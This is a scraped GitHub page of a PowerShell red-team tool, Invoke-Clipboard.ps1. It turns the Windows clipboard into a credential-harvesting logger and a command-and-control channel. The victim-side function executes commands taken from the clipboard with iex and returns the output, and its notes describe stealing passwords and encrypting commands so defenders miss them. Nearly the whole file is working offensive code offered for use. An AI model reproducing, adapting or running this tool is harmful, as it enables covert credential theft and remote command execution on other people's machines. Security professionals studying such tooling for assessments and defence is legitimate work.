-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathInvoke-Clipboard.ps1
237 lines (201 loc) · 8.54 KB
/
Invoke-Clipboard.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
$CIPHER = "adaDASDaksjldasnjkds;ldkflsdmkafmwfm" # Encryption in the commands so if they are caught they dont get the command or output of the results.
$commandkey = "kljsdsouiwjlkksjksadoie" #commands need a validation step for the key value for access just incase mutiple sessions - v2 Update.
#$Key = $(Create-AesKey)
<#
.SYNOPSIS
Functions: Invoke-ClipboardLogger, Invoke-ClipboardC2C, Invoke-ClipboardC2V
Author: Adam Crompton, Twitter: @3nc0d3r
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-Clipboard is a set of PowerShell tools that weaponizes the Windows clipboard. Invoke-Clipboard has two methods of being called; one for clipboard logging/harvesting (Invoke-Clipboard Logger) and the other for establishing a Command and Control (C2C) channel over the clipboard (Invoke-ClipboardC2C and Invoke-ClipboardC2V).
.PARAMETER message
Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor.
.EXAMPLE
Invoke-ClipboardLogger
Invoke-ClipboardC2C -message "gwmi Win32_Process"
Invoke-ClipboardC2V
.NOTES
How Invoke-Clipboard Works
Invoke-ClipboardLogger only function is to read from the clipboard and return results for anything that was sent to the clipboard either programmatically or by the user. This can be very useful on a Red Team assessment, as it helps operators profile the target’s daily activities, steal credentials from password safes and any other data sent to the clipboard. In conjunction with a keylogger and timestamped screenshots, attackers can now build a catalog of credentials and associated applications.
Invoke-ClipboardC2V is the clipboard parsing portion of the C2 running on the victim. This is the script that is deployed on the victim to capture new commands sent by Invoke-ClipboardC2C, execute them on the victim system and return the output to the clipboard for retrieval by Invoke-ClipboardC2C.
Invoke-ClipboardC2C is the client portion of the Command and Control (C2) infrastructure. After a command, the client will sleep until clipboard buffer has changed. Once the clipboard buffer has changed, the results are parsed and sent to the C2 operator.
.LINK
Blog: https://www.inguardians.com/2019/02/06/all-your-copy-paste-are-belong-to-us/
Github repo: https://github.com/inguardians/Invoke-Clipboard
Resources Used:
- StringToHGlobalUni - https://msdn.microsoft.com/en-us/library/system.runtime.interopservices.marshal.stringtohglobaluni(v=vs.110).aspx
- GetClipboardData - https://msdn.microsoft.com/en-us/library/windows/desktop/ms649039(v=vs.85).aspx
- ClipboardFormats - https://msdn.microsoft.com/en-us/library/windows/desktop/ms649013(v=vs.85).aspx#_win32_Standard_Clipboard_Formats
- #define CF_UNICODETEXT 13
- #define CF_TEXT 1
#>
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject
$hasher = New-Object System.Security.Cryptography.SHA256Managed
$toHash = [System.Text.Encoding]::UTF8.GetBytes($CIPHER)
$hashBytes = $hasher.ComputeHash($toHash)
$final = [System.Convert]::ToBase64String($hashBytes)
return $final
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
$fullData = $aesManaged.IV + $encryptedData
[System.Convert]::ToBase64String($fullData)
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
function encryptme([string]$message, [byte[]]$Key){
#Convert Password to a secure string
$SecureString = ConvertTo-SecureString -AsPlainText -Force -String $message
#Convert SecureString to an encrypted string using the encryption key
$EncryptedString = ConvertFrom-SecureString -SecureString $SecureString -Key $Key
return $EncryptedString
}
function decryptme([string]$message, [byte[]]$Key){
$EncryptedString = $message
$StandardString = ConvertTo-SecureString -String $EncryptedString -Key $Key
return ((New-Object System.Management.Automation.PSCredential 'N/A', $StandardString).GetNetworkCredential().Password)
}
function import-dllz{
$dllimp = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern IntPtr GetClipboardData(uint uFormat);
[DllImport("uer32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool OpenClipboard(IntPtr hWndNewOwner);
[DllImport("user32.dll")]
public static extern bool CloseClipboard();
[DllImport("user32.dll")]
public static extern bool SetClipboardData(uint uFormat, IntPtr data);
[DllImport("user32.dll")]
static extern IntPtr GetOpenClipboardWindow();
[DllImport("user32.dll")]
public static extern bool EmptyClipboard();
"@
$showWindowAsync = Add-Type -memberDefinition $dllimp -name "pwnsauce" -namespace AtomME -passThru -Language CSharp
}
function Get-OpenClipWIN()
{
$a = [AtomMe.pwnsauce]::GetOpenClipboardWindow()
write-host "This is getOpenClip $a"
}
function push_cb ([string]$pushtoclip){
$a = [Runtime.InteropServices.Marshal]::StringToHGlobalUni($pushtoclip)
[AtomMe.pwnsauce]::OpenClipboard([IntPtr]::Zero)
#emptyClipboard()
[AtomMe.pwnsauce]::EmptyClipboard()
[AtomMe.pwnsauce]::SetClipboardData(13 , $a)
[AtomMe.pwnsauce]::CloseClipboard()
}
function get_cb()
{
#$codetextANSI = 1
#$codetextOEM = 7
$codetextUNI = 13
# Open the Clipboard
[AtomMe.pwnsauce]::OpenClipboard([IntPtr]::Zero)
# GetCliboard data
$getclipUNI = [AtomMe.pwnsauce]::GetClipboardData($codetextUNI)
$stringUNI = [Runtime.InteropServices.Marshal]::PtrToStringUni($getclipUNI)
#Close the clipboard
[AtomMe.pwnsauce]::CloseClipboard()
return $stringUNI
}
function Invoke-ClipboardLogger(){
import-dllz
$delaymin = 1
$delaymax = 2
$old = ""
while ($true){
while ($(get_cb)[2] -eq $old){
Start-Sleep -s (Get-Random -minimum $delaymin -maximum $delaymax)
}
$(get_cb)[2] | Out-string
$old = $(get_cb)[2]
}
}
function Invoke-ClipboardC2V
{
import-dllz
$ErrorActionPreference = 'SilentlyContinue'
$delaymin = 1
$delaymax = 4
$old = $(get_cb)[2]
$oldclip = $(get_cb)[2]
$key = (13,4,2,13,0,34,254,222,1,1,2,23,42,54,33,99,1,34,2,7,6,5,12,111)
while ($true){
$holder_before_modclip = $(get_cb)[2]
while ($(get_cb)[2] -eq $old){
Start-Sleep -s (Get-Random -minimum $delaymin -maximum $delaymax)
}
Get-OpenClipWIN
Try{
write-host "Running command"
$result = iex $(get_cb)[2] | Out-string
write-host "This is the result: $result"
push_cb $result
sleep 5
push_cb $holder_before_modclip
}
Catch{
write-host "Not a correct command "
}
$old = $(get_cb)[2]
}
}
function Invoke-ClipboardC2C ([string]$message)
{
import-dllz
$original = $(get_cb)[2]
push_cb $message
$ErrorActionPreference = 'SilentlyContinue'
$delaymin = 1
$delaymax = 2
$old = $(get_cb)[2]
$oldclip = ""
Try{
while ($(get_cb)[2] -eq $old){
Start-Sleep -s (Get-Random -minimum $delaymin -maximum $delaymax)
write-host $(get_cb)[2]
}
}
Catch
{
write-host "Command does not exist!!"
}
}